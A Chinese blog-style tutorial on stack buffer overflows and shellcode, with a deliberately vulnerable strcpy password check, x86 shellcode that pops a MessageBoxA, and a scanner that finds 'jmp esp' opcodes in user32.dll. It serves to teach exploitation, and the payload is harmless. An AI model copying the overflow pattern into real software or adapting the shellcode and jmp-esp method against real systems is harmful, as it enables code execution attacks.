栈溢出原理与 shellcode 开发

#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){int authenticated;char buffer[8];authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);return authenticated;}int main(){int valid_flag=0;char password[1024];while(1){printf("please input password:");scanf("%s",password);valid_flag = verify_password(password);if(valid_flag){printf("incorrenct\n");}else{printf("Congratulation\n");break;}}return 0;}
#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){int authenticated;char buffer[8];printf("%p\n",&buffer);authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);return authenticated;}int main(){int valid_flag=0;char password[1024];FILE *fp;if(!(fp=fopen("password.txt","rw+"))){exit(0);}fscanf(fp,"%s",password);valid_flag = verify_password(password);if(valid_flag){printf("incorrenct password!\n");}else{printf("Congratulation\n");}fclose(fp);return 0;}


| 机器码 | 汇编 | 注释 |
| 33DB | XOR EBX, EBX | 压如NULL结尾的“failwest”字符串 |
| 53 | PUSH EBX | 之所以用EBX清零后入栈作为字符串的 |
| 6877657374 | PUSH 6877657374 | 截断符,是为了避免“PUSH 0”中的NULL |
| 686661696C | PUSH 686661696C | 否则植入的机器码会被strcpy函数截断 |
| 8BC4 | MOV EAX, ESP | EAX里是字符串指针 |
| 53 | PUSH EBX | 4个参数按从右向左的顺序入栈 |
| 50 | PUSH EAX | 分别是(0,failwest,failwest,0) |
| 50 | PUSH EAX | |
| 53 | PUSH EBX | |
| B8EA07D577 | MOV EAX, 0x77D507EA | 调用MessageBoxA 不同的机器这里的函数入口 |
| FFD0 | CALL EAX | 地址不同 |
基地址+偏移地址 = MessageBoxA在内存中的入口地址

#include<Windows.h>#include<stdio.h>#define DLL_NAME "user32.dll"int main(){BYTE* ptr;int position,address;HINSTANCE handle;BOOL done_flag = FALSE;handle = LoadLibrary(DLL_NAME);if(!handle){printf(" load dll erro !");exit(0);}ptr = (BYTE*)handle;for(position = 0; !done_flag; position++){try{if(ptr[position] == 0xFF && ptr[position+1] == 0xE4){//0xFFE4 is the opcode of jmp espint address = (int)ptr + postion;printf("OPCODE found at 0x%x\n",address);}}catch(...){int address = (int)ptr + position;printf("END OF 0x%x\n", address);done_flag = true;}}return 0;}

#include<Windows.h>int main(){HINSTANCE LibHandle;char dllbuf[11] = "user32.dll";LibHandle = LoadLibrary(dllbuf);_asm{sub sp, 0x440xor ebx, ebxpush ebx //cut stringpush 0x74736577push 0x6C696166mov eax, esppush ebxpush eaxpush eaxpush ebxmov eax, 0x77D507EAcall eax //call MessageBoxApush ebxmov eax, 0x7C81CAFAcall eax //call exit(0)}}

33DB xor ebx,ebx53 push ebx68 77657374 push 0x7473657768 6661696C push 0x6C6961668BC4 mov eax,esp53 push ebx50 push eax50 push eax53 push ebxB8 EA07D577 mov eax,user32.MessageBoxAFFD0 call eax53 push ebxB8 FACA817C mov eax,kernel32.ExitProcessFFD0 call eax
栈溢出原理与 shellcode 开发的更多相关文章
- OAuth的机制原理讲解及开发流程
本想前段时间就把自己通过QQ OAuth1.0.OAuth2.0协议进行验证而实现QQ登录的心得及Demo实例分享给大家,可一直很忙,今天抽点时间说下OAuth1.0协议原理,及讲解下QQ对于Oaut ...
- Windows栈溢出原理
1.栈是什么? 栈是一种运算受限的线性表 其限制是仅允许在表的一端进行插入和删除运算 这一端称为栈顶(TOP),相对的另一端称为栈底(BASE) 向一个栈插入新元素,称作进栈.入栈或压栈(PUSH) ...
- Zookeeper原理和实战开发经典视频教程 百度云网盘下载
Zookeeper原理和实战开发 经典视频教程 百度云网盘下载 资源下载地址:http://pan.baidu.com/s/1o7ZjPeM 密码:r5yf
- Shellcode开发辅助工具shellnoob
Shellcode开发辅助工具shellnoob Shellcode开发的过程中会遇到很多繁杂的工作,如编译.反编译.调试等.为了减少这部分工作,Kali Linux提供了开发辅助工具shelln ...
- VR原理讲解及开发入门
本文是作者obuil根据多年心得专门为想要入门的VR开发者所写,由52VR网站提供支持. 1. VR沉浸感和交互作用产生的原理: 在之前,我们观看一个虚拟的创造内容是通过平面显示器的,52VR ...
- [转]VR原理讲解及开发入门
本文转自:http://www.52vr.com/article-661-1.html 本文是作者obuil根据多年心得专门为想要入门的VR开发者所写,由52VR网站提供支持. 1. VR沉浸感和 ...
- springboot深入学习(二)-----profile配置、运行原理、web开发
一.profile配置 通常企业级应用都会区分开发环境.测试环境以及生产环境等等.spring提供了全局profile配置的方式,使得在不同环境下使用不同的applicaiton.properties ...
- OAuth的机制原理讲解及开发流程(转)
1.OAuth的简述 OAuth(Open Authorization,开放授权)是为用户资源的授权定义了一个安全.开放及简单的标准,第三方无需知道用户的账号及密码,就可获取到用户的授权信息,并且这是 ...
- 【转载】OAuth的机制原理讲解及开发流程
1.OAuth的简述 OAuth(Open Authorization,开放授权)是为用户资源的授权定义了一个安全.开放及简单的标准,第三方无需知道用户的账号及密码,就可获取到用户的授权信息,并且这是 ...
随机推荐
- 第一阶段——站立会议总结DAY04
1.昨天做了什么:未取得一点进步. 2.今天准备做什么:准备在网上搜索一下微信个人中心的相关信息,代码资料. 3.遇到的困难:界面简陋,还是对于深层次的,比如逻辑,还是不怎么会用.
- grid的简单使用
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>grid ...
- 使用LVM方式安装Ubuntu 16.04
--- By 小甘丶 注: 这里只讲解如何配置LVM,其他不再陈述! 这个方法,通用的!只要操作系统支持LVM即可!(个人推测,尚未证实) 配置好虚拟机后,开始安装,先进入Ubuntu使用界面,对磁盘 ...
- hdu1569-方格取数-二分图网络流
方格取数(2) Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Total Su ...
- Linux系统(X64)7 安装Oracle11g完整安装图文教程另附基本操作
在linux 7.6 安装 oracle 11g mount 挂载yum源 yum –y sys* gcc* lib* sys* ma* un* gli* elf* bin* com* ...
- npm常用功能
1. npm -v在命令行中输入该代码,可以查看npm当前版本号 2.安装依赖包2.1 npm install <name>先使用cd命令跳转到需要安装模块的目录,在该目录下执行np ...
- Struts 2 初步入门(六)之处理结果类型
Struts2 处理流程: 用户请求--->struts框架--->Action控制器--->struts框架--->视图资源 xml配置文件里: <result nam ...
- linux下find命令详解
Linux中find常见用法示例 ·find path -option [ -print ] [ -exec -ok command ] {} \; find命令的参数 ...
- DBProxy 读写分离使用说明
美团点评DBProxy读写分离使用说明 目的 因为业务架构上需要实现读写分离,刚好前段时间美团点评开源了在360Atlas基础上开发的读写分离中间件DBProxy,关于其介绍在官方文档已经有很详细 ...
- selenium(七)expected_conditions EC
判断一个元素是否存在,如何判断alert弹窗出来了,如何判断动态的元素等等一系列的判断,在selenium的expected_conditions模块收集了一系列的场景判断方法, 一.功能介绍和翻译 ...